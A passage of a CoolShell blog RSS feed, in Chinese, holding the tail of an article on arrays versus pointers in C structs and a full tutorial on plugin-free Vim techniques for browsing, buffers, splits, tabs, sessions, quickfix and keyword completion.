    97      97      97      97\n0x601028:       97      97</pre>\n<p>上面一共输出了四行内存，其中，</p>\n<ul>\n<li>第一行前四个字节是 int length，第一行的后四个字节是对齐。</li>\n<li>第二行是char* contents，64位系统指针8个长度，他的值是0x20 0x10 0x60 也就是0x601020。</li>\n<li>第三行和第四行是char* contents指向的内容。</li>\n</ul>\n<p>从这里，我们看到，<strong>其中的差别——数组的原地就是内容，而指针的那里保存的是内容的地址</strong>。</p>\n<h4>后记</h4>\n<p>好了，我的文章到这里就结束了。但是，请允许我再唠叨两句。</p>\n<p style=\"padding-left: 30px;\"><strong>1）看过这篇文章，你觉得C复杂吗？我觉得并不简单。某些地方的复杂程度不亚于C++。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）那些学不好C++的人一定是连C都学不好的人。连C都没学好，你们根本没有资格鄙视C++。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）当你们在说有坑的时候，你得问一下自己，是真有坑还是自己的学习能力上出了问题。</strong></p>\n<p>如果你觉得你的C语言还不错，欢迎你看看《<a title=\"C语言的谜题\" href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\">C语言的谜题</a>》还有《<a title=\"谁说C语言很简单？\" href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\">谁说C语言很简单？</a>》还有《<a href=\"https://coolshell.cn/articles/830.html\" target=\"_blank\">语言的歧义</a>》以及《<a title=\"深入理解C语言\" href=\"https://coolshell.cn/articles/5761.html\" target=\"_blank\" rel=\"bookmark\">深入理解C语言</a>》一文。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/11235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"一个浮点数跨平台产生的问题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11235.html\" class=\"wp_rp_title\">一个浮点数跨平台产生的问题</a></li><li ><a href=\"http://coolshell.cn/articles/873.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"谁说C语言很简单？\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/873.html\" class=\"wp_rp_title\">谁说C语言很简单？</a></li><li ><a href=\"http://coolshell.cn/articles/945.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"C语言的谜题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/945.html\" class=\"wp_rp_title\">C语言的谜题</a></li><li ><a href=\"http://coolshell.cn/articles/830.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"语言的歧义\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/830.html\" class=\"wp_rp_title\">语言的歧义</a></li><li ><a href=\"http://coolshell.cn/articles/5761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"深入理解C语言\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5761.html\" class=\"wp_rp_title\">深入理解C语言</a></li><li ><a href=\"http://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11377.html\">C语言结构体里的成员数组和指针</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11377.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>195</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>无插件Vim编程技巧</title>\n\t\t<link>https://coolshell.cn/articles/11312.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11312.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Mar 2014 00:25:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11312</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>相信大家看过《简明Vim教程》也玩了《Vim大冒险》的游戏了，相信大家对Vim都有一个好的入门了。我在这里把我日常用Vim编程的一些技巧列出来给大家看看，希望对...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11312.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright  wp-image-11338\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim.jpg\" alt=\"\" width=\"222\" height=\"244\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/success_vim.jpg 309w, https://coolshell.cn/wp-content/uploads/2014/03/success_vim-273x300.jpg 273w, https://coolshell.cn/wp-content/uploads/2014/03/success_vim-246x270.jpg 246w\" sizes=\"(max-width: 222px) 100vw, 222px\" />相信大家看过《<a title=\"简明 Vim 练级攻略\" href=\"https://coolshell.cn/articles/5426.html\" target=\"_blank\">简明Vim教程</a>》也玩了《<a title=\"游戏：VIM大冒险\" href=\"https://coolshell.cn/articles/7166.html\" target=\"_blank\">Vim大冒险</a>》的游戏了，相信大家对Vim都有一个好的入门了。我在这里把我日常用Vim编程的一些技巧列出来给大家看看，希望对大家有用，另外，也是一个抛砖引玉的过程，也希望大家把你们的技巧跟贴一下，我会更新到这篇文章中。另外，这篇文章里的这些技巧全都是vim原生态的，不需要你安装什么插件。<strong>我的Vim的版本是7.2</strong>。</p>\n<h4>浏览代码</h4>\n<p><span style=\"line-height: 1.5em;\">首先，我们先从浏览代码开始。有时候，我们需要看多个文件，所以，传统的做法是，我们开多个tty终端，每个tty里用Vim打开一个文件，然后来回切换。这很没有什么效率。我们希望在一个Vim里打开多个文件，甚至浏览程序目录。</span></p>\n<p>浏览目录的命令很简单：（你也可以直接vim一个目录）</p>\n<blockquote><p><strong>:E</strong></p></blockquote>\n<p>注意，是大写。于是，你会看到下面这样的界面：</p>\n<p><span id=\"more-11312\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11314\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/Explorer.png\" alt=\"\" width=\"643\" height=\"387\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/Explorer.png 643w, https://coolshell.cn/wp-content/uploads/2014/03/Explorer-300x180.png 300w\" sizes=\"(max-width: 643px) 100vw, 643px\" /></p>\n<p style=\"text-align: left;\">这个界面中，<strong>你可以用 j, k 键上下移动，然后回车，进入一个目录，或是找开一个文件</strong>。你可以看到上面有一堆命令：</p>\n<ul>\n<li>【 &#8211; 】 到上级目录</li>\n<li>【D】删除文件（大写）</li>\n<li>【R】改文件名（大写）</li>\n<li>【s】对文件排序（小写）</li>\n<li>【x】执行文件</li>\n</ul>\n<p>当然，打开的文件会把现有已打开的文件给冲掉——也就是说你只看到了一个文件。</p>\n<p>如果你要改变当前浏览的目录，或是查看当前浏览的目录，你可以使用和shell一样的命令：</p>\n<blockquote><p><strong>:cd &lt;dir&gt; &#8211; 改变当前目录</strong></p>\n<p><strong>:pwd  &#8211; 查看当前目录</strong></p></blockquote>\n<h4>缓冲区</h4>\n<p>其实，你用:E 浏览打开的文件都没有被关闭，这些文件都在缓冲区中。你可以用下面的命令来查看缓冲区：</p>\n<blockquote><p><strong>:ls</strong></p></blockquote>\n<p>于是，在你的Vim下，你会看到如下界面：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11315\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/buffer_ls.png\" alt=\"\" width=\"572\" height=\"174\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/buffer_ls.png 572w, https://coolshell.cn/wp-content/uploads/2014/03/buffer_ls-300x91.png 300w\" sizes=\"(max-width: 572px) 100vw, 572px\" /></p>\n<p>你可以看到Vim打开了四个文件，编号是4，5，6，7，如果你要切换打开的文件，这个时候，你不要按回车（按了也没事，只不过按了就看不到:ls输出的buffer列表了），你可以使用下面的命令切换文件（buffer后面的4表示切到4号文件也就是src/http/ngx_http.c）：</p>\n<blockquote><p><strong>:buffer 4</strong></p></blockquote>\n<p>或是：</p>\n<blockquote><p><strong>:buffer src/http/ngx_http.c</strong></p></blockquote>\n<p>注意，</p>\n<ul>\n<li>你可以像在Shell中输入命令按Tab键补全一样补全Vim的命令。</li>\n<li>也可以用像gdb一样用最前面的几个字符，只要没有冲突。如：buff</li>\n</ul>\n<p>你还可以动用如下命令，快速切换：</p>\n<blockquote><p>:bnext      缩写 :bn<br />\n:bprevious   缩写 :bp<br />\n:blast  缩写 :bl<br />\n:bfirst 缩写 :bf</p></blockquote>\n<p><span style=\"line-height: 1.5em;\">上图中，我们还可以看到5有一个%a，这表示当前文件，相关的标记如下：</span></p>\n<p style=\"padding-left: 30px;\">&#8211; （非活动的缓冲区）<br />\na （当前被激活缓冲区）<br />\nh （隐藏的缓冲区）<br />\n% （当前的缓冲区）<br />\n# （交换缓冲区）<br />\n= （只读缓冲区）<br />\n+ （已经更改的缓冲区）</p>\n<h4>窗口分屏浏览</h4>\n<p>相信你在《<a title=\"Vim的分屏功能\" href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\">Vim的窗口分屏</a>》一文中，你已经知道了怎么拆分窗口了。其实，我更多的不是用拆分窗口的命令，而是用浏览文件的命令来分隔窗口。如：</p>\n<p>把当前窗口上下分屏，并在下面进行目录浏览：</p>\n<blockquote><p><strong>:He   全称为 :Hexplore  （在下边分屏浏览目录）</strong></p></blockquote>\n<p>如果你要在上面，你就在 :He后面加个 !，</p>\n<blockquote><p><strong>:He!  （在上分屏浏览目录）</strong></p></blockquote>\n<p>如果你要左右分屏的话，你可以这样：</p>\n<blockquote><p><strong>:Ve 全称为 :Vexplore （在左边分屏间浏览目录，要在右边则是 :Ve!）</strong></p></blockquote>\n<p>下图是分别用:He 和 :Ve搞出来的同时看三个文件：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-11316\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/WindowsExplorer.png\" alt=\"\" width=\"725\" height=\"411\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/WindowsExplorer.png 906w, https://coolshell.cn/wp-content/uploads/2014/03/WindowsExplorer-300x170.png 300w, https://coolshell.cn/wp-content/uploads/2014/03/WindowsExplorer-900x510.png 900w\" sizes=\"(max-width: 725px) 100vw, 725px\" /></p>\n<p style=\"text-align: left;\">在分屏间的跳转和切换在《<a title=\"Vim的分屏功能\" href=\"https://coolshell.cn/articles/1679.html\" target=\"_blank\">Vim的窗口分屏</a>》一文中提过了：<strong>先按Ctrl + W，然后按方向键：h j k l</strong></p>\n<h4 style=\"text-align: left;\">分屏同步移动</h4>\n<p>要让两个分屏中的文件同步移动，很简单，你需要到需要同步移动的两个屏中都输入如下命令（相当于使用“铁锁连环”）：</p>\n<blockquote><p><strong>:set scb</strong></p></blockquote>\n<p>如果你需要解开，那么就输入下面的命令：</p>\n<blockquote><p><strong>:set scb!</strong></p></blockquote>\n<p>注：set scb 是 set scrollbind 的简写。</p>\n<h4>Tab页浏览目录</h4>\n<p>分屏可能会让你不爽，你可能更喜欢像Chrome这样的分页式的浏览，那么你可以用下面的命令：</p>\n<blockquote><p><strong>:Te  全称是 :Texplorer</strong></p></blockquote>\n<p>下图中，你可以看到我用Te命令打开了三页，就在顶端我们可以可以看到有三页，其中第一页Tab上的数字3表示那一页有3个文件。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11317\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/TabExplorer.png\" alt=\"\" width=\"679\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/TabExplorer.png 679w, https://coolshell.cn/wp-content/uploads/2014/03/TabExplorer-300x104.png 300w\" sizes=\"(max-width: 679px) 100vw, 679px\" /></p>\n<p>我们要在多个Tabe页中切换，在normal模式下，你可以使用下面三个按键（注意没有冒号）：</p>\n<blockquote><p><strong>gt   &#8211; 到下一个页</strong></p>\n<p><strong>gT  &#8211; 到前一个页</strong></p>\n<p><strong>{i} gt   &#8211; i是数字，到指定页，比如：5 gt 就是到第5页</strong></p></blockquote>\n<p>你可以以使用 【:tabm {n}】来切换Tab页。</p>\n<p>gvim应该是：Ctrl+PgDn 和 Ctrl+PgUp 来在各个页中切换。</p>\n<p>如果你想看看你现在打开的窗口和Tab的情况，你可以使用下面的命令：</p>\n<blockquote><p><strong>:tabs</strong></p></blockquote>\n<p>于是你可以看到：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11318\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/Tab01.png\" alt=\"\" width=\"392\" height=\"175\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/Tab01.png 392w, https://coolshell.cn/wp-content/uploads/2014/03/Tab01-300x133.png 300w\" sizes=\"(max-width: 392px) 100vw, 392px\" /></p>\n<p>使用如下命令可以关闭tab：（当然，我更喜欢使用传统的:q, :wq来关闭）</p>\n<blockquote><p><strong>:tabclose [i]</strong> &#8211; 如果后面指定了数字，那就关闭指定页，如果没有就关闭当前页</p></blockquote>\n<p>最后提一下，如果你在Shell命令行下，你可以使用 vim 的 -p 参数来用Tab页的方式打开多个文件，比如：</p>\n<blockquote><p><strong>vim -p cool.cpp shell.cpp haoel.cpp<br />\nvim -p *.cpp</strong></p></blockquote>\n<p><strong>注：如果你想把buffer中的文件全转成tab的话，你可以使用下面的命令</strong></p>\n<blockquote><p><strong>:bufdo tab split</strong></p></blockquote>\n<h4>保存会话</h4>\n<p>如果你用Tab或Window打开了好些文件的文件，还设置了各种滚屏同步，或是行号……，那么，你可以用下面的命令来保存会话：（你有兴趣你可以看看你的 mysession.vim文件内容，也就是一个批处理文件）</p>\n<blockquote><p><strong>:mksession ~/.mysession.vim</strong></p></blockquote>\n<p>如果文件重复，vim默认会报错，如果你想强行写入的话，你可以在mksession后加! ：</p>\n<blockquote><p><strong>:mksession! ~/.mysession.vim</strong></p></blockquote>\n<p>于是下次，你可以这样打开这个会话：</p>\n<blockquote><p><strong>vim -S ~/.mysession.vim</strong></p></blockquote>\n<p>保存完会话后，你也没有必要一个一个Tab/Windows的去Close。你可以简单地使用：</p>\n<blockquote><p><strong>:qa   &#8211; 退出全部 </strong></p>\n<p><strong>:wqa  -保存全部并退出全部</strong></p></blockquote>\n<h4>Quickfix</h4>\n<p>假如我们有一个hello.cpp文件和一个makefile，于是我们可以直接在vim下输入 :make ， 于是就可以make这个hello.cpp文件，如果出错了，我们需要按回车返回，这个时候，我们可以使用下面的命令来把出错显到在vim的分屏中：</p>\n<blockquote><p><strong>:cw</strong></p></blockquote>\n<p>于是，就会出现下面右边的那个样子：（是不是看上去和我一样很帅？）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11321\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/quickfix.png\" alt=\"\" width=\"705\" height=\"385\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/quickfix.png 705w, https://coolshell.cn/wp-content/uploads/2014/03/quickfix-300x163.png 300w\" sizes=\"(max-width: 705px) 100vw, 705px\" /></p>\n<p>上图中左边是我的makefile，右边是我的错误百出的源代码，右边下面是quickfix窗屏。你可以看到quickfix窗屏指向的第一个错误已经定位到我们相就错误的文件行上了。</p>\n<p>你可以使用像浏览文件那样用j, k在quckfix窗屏中上下移动到相应的错误上然后按回车，然后就可以在上面的窗屏里定位到相应的源文件的代码行。但是，如果是这样的话， 你要定位下一条错误还得用Ctrl +W 回到quickfix屏中来然后重复来过。</p>\n<p>你可以使用下面的命令而不用回到quickfix中来：</p>\n<blockquote><p><strong>:cp 跳到上一个错误</strong></p>\n<p><strong>:cn 跳到下一个错误</strong></p>\n<p><strong>:cl 列出所有错误</strong></p>\n<p><strong>:cc 显示错误详细信息</strong></p></blockquote>\n<p>下面我们来看另一个quickfix的功能。</p>\n<p>如果你用过vim的cscope插件，你就知道cscope可以用来查找相当的代码，但cscope需要事先生成一个数据库，对一些简单的查找，其实，我们用vim的grep命令就可以了，不需要专门为之生成数据库。vim的grep命令和shell的几乎一样。</p>\n<p>我们来看个例子：</p>\n<p>比如我们正在浏览nginx的代码，这时，我想看看哪里用到了nginx的NGX_HTTP_VAR_INDEXED宏。于是，我可以在vim里输入如下的命令：</p>\n<blockquote><p><strong>:grep -r &#8211;include=&#8221;*.[ch]&#8221; NGX_HTTP_VAR_INDEXED src/</strong></p></blockquote>\n<p>上面这个命令意思是递归查询src目录下所有的.c和.h文件，其中包括NGX_HTTP_VAR_INDEXED宏。然后，你就会看到vim到shell里去执行并找到了相关的文件，按回车返回vim后，别忘了用 【:cw 】把grep的输出取回来，于是我们就有下面的样子：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11323\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/quickfix_grep.png\" alt=\"\" width=\"704\" height=\"386\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/quickfix_grep.png 704w, https://coolshell.cn/wp-content/uploads/2014/03/quickfix_grep-300x164.png 300w\" sizes=\"(max-width: 704px) 100vw, 704px\" /></p>\n<p>然后同上面一样，你可以用 j，k 键移动quickfix里的光标到相应的行，然后按回车定位文件，或是使用【:cn】或【:cp】来移动到定位。（这样，你会把多个文件打开到缓冲区，别忘了【:ls】来查看缓冲区）</p>\n<p>你看，到这里，一个小小的IDE就这样产生了，而且，<strong>最帅的时，我们连一点插件都没有装，也没有在.vimrc文件中配置过什么</strong>。</p>\n<h4>关键字补全</h4>\n<p>我们还是坚持不用任何插件。我们来看看是怎么个自动补全的。</p>\n<p>在insert模式下，我们可以按如下快捷键：</p>\n<blockquote><p>【<strong>Ctrl +N</strong>】  &#8211; 当你按下这它时，你会发现Vim就开始搜索你这个目录下的代码，搜索完成了就会出现一个下拉列表（居然是粉紫色的，真是丑死了）</p></blockquote>\n<p>下图是我输入了ngx_http_然后按ctrl+n出现的样子，它已经帮我补全了一个，但是我不想要这个。然后，在Vim的下方我们可以看到状态变成了“关键字补全”，然后后面有^N^P的提示，意思就是告诉你还有一个Ctrl+P.</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-11325\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_n.png\" alt=\"\" width=\"635\" height=\"304\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_n.png 705w, https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_n-300x143.png 300w\" sizes=\"(max-width: 635px) 100vw, 635px\" /></p>\n<blockquote><p>【<strong>Ctrl + P</strong>】 &#8211; 接下来你可以按这个键，于是回到原点，然后你可以按上下光标键来选择相应的Word。</p></blockquote>\n<p>对于上面那个例子，我们按下了Ctrl+P后出现下面的这个样子。我们可以看到，光标回到了一开始我输入的位置，然后你可以干两件事，一个是继续输入（这可以帮助过滤关键词），另一个是用“光标键”上移或下移来选择下拉列表中的关键字，选好后回车，就补全了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11326\" src=\"https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_p.png\" alt=\"\" width=\"707\" height=\"337\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_p.png 707w, https://coolshell.cn/wp-content/uploads/2014/03/auto_complete_ctrl_p-300x142.png 300w\" sizes=\"(max-width: 707px) 100vw, 707px\" /></p>\n<p>与此类似的，还有更多的补齐，都在Ctrl +X下面：</p>\n<ul>\n<li>Ctrl + X 和 Ctrl + D 宏定义补齐</li>\n<li>Ctrl + X 和 Ctrl + ] 是Tag 补齐</li>\n<li>Ctrl + X 和 Ctrl + F 是文件名 补齐</li>\n<li>Ctrl + X 和 Ctrl + I 也是关键词补齐，但是关键后会有个文件名，告诉你这个关键词在哪个文件中</li>\n<li>Ctrl + X 和 Ctrl +V 是表达式补齐</li>\n<li>Ctrl + X 和 Ctrl +L 这可以对整个行补齐，变态吧。</li>\n</ul>\n<h4>其它技巧</h4>\n<h5>字符相关</h5>\n<p style=\"padding-left: 30px;\">【guu 】 &#8211; 把一行的文字变成全小写。或是【Vu】</p>\n<p style=\"padding-left: 30px;\">【gUU】 &#8211; 把一行的文件变成全大写。或是【VU】</p>\n<p style=\"padding-left: 30px;\">按【v】键进入选择模式，然后移动光标选择你要的文本，按【u】转小写，按【U】转大写</p>\n<p style=\"padding-left: 30px;\">【ga】 &#8211;  查看光标处字符的ascii码</p>\n<p style=\"padding-left: 30px;\">【g8】 &#8211; 查看光标处字符的utf-8编码</p>\n<p style=\"padding-left: 30px;\">【gf】  &#8211; 打开光标处所指的文件 （这个命令在打到#include头文件时挺好用的，当然，仅限于有路径的）</p>\n<p style=\"padding-left: 30px;\">【*】或【#】在当前文件中搜索当前光标的单词</p>\n<h5>缩进相关</h5>\n<p style=\"padding-left: 30px;\">【&gt;&gt;】向右给它进当前行 【&lt;&lt;】向左缩进当前行</p>\n<p style=\"padding-left: 30px;\">【=】  &#8211; 缩进当前行 （和上面不一样的是，它会对齐缩进）</p>\n<p style=\"padding-left: 30px;\">【=%】 &#8211; 把光标位置移到语句块的括号上，然后按=%，缩进整个语句块（%是括号匹配）</p>\n<p style=\"padding-left: 30px;\">【G=gg】 或是 【gg=G】  &#8211; 缩进整个文件（G是到文件结尾，gg是到文件开头）</p>\n<h5>复制粘贴相关</h5>\n<p style=\"padding-left: 30px;\">按【v】 键进入选择模式，然后按h,j,k,l移动光标，选择文本，然后按 【y】 进行复制，按 【p】 进行粘贴。</p>\n<p style=\"padding-left: 30px;\">【dd】剪切一行（前面加个数字可以剪切n行），【p】粘贴</p>\n<p style=\"padding-left: 30px;\">【yy】复制一行（前面加个数字可以复制n行），【p】粘贴</p>\n<h5>光标移动相关</h5>\n<p style=\"padding-left: 30px;\">【Ctrl + O】向后回退你的光标移动</p>\n<p style=\"padding-left: 30px;\">【Ctrl + I 】向前追赶你的光标移动</p>\n<p style=\"padding-left: 30px;\">这两个快捷键很有用，可以在Tab页和Windows中向前和向后trace你的光标键，这也方便你跳转光标。</p>\n<h5>读取Shell命令相关</h5>\n<p style=\"padding-left: 30px;\">【:r!date】 插入日期</p>\n<p style=\"padding-left: 30px;\">上面这个命令，:r 是:read的缩写，!是表明要运行一个shell命令，意思是我要把shell命令的输出读到vim里来。</p>\n<h4>vim的终级插件</h4>\n<p style=\"padding-left: 30px;\">CentOS下：yum erase emacs</p>\n<p style=\"padding-left: 30px;\">Ubuntu下：apt-get remove emacs</p>\n<p>对了，以前本站也有一篇小短文《<a href=\"https://coolshell.cn/articles/894.html\" target=\"_blank\">如何在vim中得到你最喜爱的IDE特性</a>》你也可以看看。</p>\n<p>（:wq）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/5426.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" alt=\"简明 Vim 练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5426.html\" class=\"wp_rp_title\">简明 Vim 练级攻略</a></li><li ><a href=\"http://coolshell.cn/articles/7166.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" alt=\"游戏：VIM大冒险\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7166.html\" class=\"wp_rp_title\">游戏：VIM大冒险</a></li><li ><a href=\"http://coolshell.cn/articles/5479.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" alt=\"给程序员的VIM速查卡\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/5479.html\" class=\"wp_rp_title\">给程序员的VIM速查卡</a></li><li ><a href=\"http://coolshell.cn/articles/1679.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/vimwindows-150x150.png\" alt=\"Vim的分屏功能\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/1679.html\" class=\"wp_rp_title\">Vim的分屏功能</a></li><li ><a href=\"http://coolshell.cn/articles/894.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/894.html\" class=\"wp_rp_title\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li ><a href=\"http://coolshell.cn/articles/1651.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"VIM有趣的命令\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/1651.html\" class=\"wp_rp_title\">VIM有趣的命令</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11312.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>127</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python修饰器的函数式编程</title>\n\t\t<link>https://coolshell.cn/articles/11265.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11265.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 20 Mar 2014 01:50:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Decorator]]></category>\n\t\t<category><![CDATA[functional]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[函数式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11265</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Python的修饰器的英文名叫Decorator，当你看到这个英文名的时候，你可能会把其跟Design Pattern里的Decorator搞混了，其实这是完全...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11265.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a 